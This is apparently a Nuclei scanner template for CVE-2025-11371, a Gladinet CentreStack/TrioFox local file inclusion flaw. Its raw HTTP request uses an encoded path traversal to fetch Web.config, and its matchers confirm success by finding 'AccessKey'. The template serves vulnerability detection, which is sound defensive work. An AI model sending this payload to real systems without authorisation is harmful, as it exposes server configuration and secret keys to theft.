id: CVE-2025-11371

info:
  name: "Gladinet - File Exposure"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    In the default installation and configuration of Gladinet CentreStack and TrioFox, there is an unauthenticated
    Local File Inclusion Flaw that allows unintended disclosure of system files. Exploitation of this
    vulnerability has been observed in the wild.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-11371&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=gladinet&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.2
    cve-id: CVE-2025-11371
    cwe-id: CWE-552
  metadata:
    verified: false
  tags: cve,cve2025,gladinet,lfi,centrestack,vkev,vuln,kev
http:
  - raw:
      - |
        GET /storage/t.dn?s=..%5C..%5C..%5CProgram+Files+(x86)%5CGladinet+Cloud+Enterprise%5Croot%5CWeb.config&sid=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<configuration>", "<system.web>", "AccessKey")'
          - 'contains(content_type, "application/octet-stream")'
          - 'status_code == 200'
        condition: and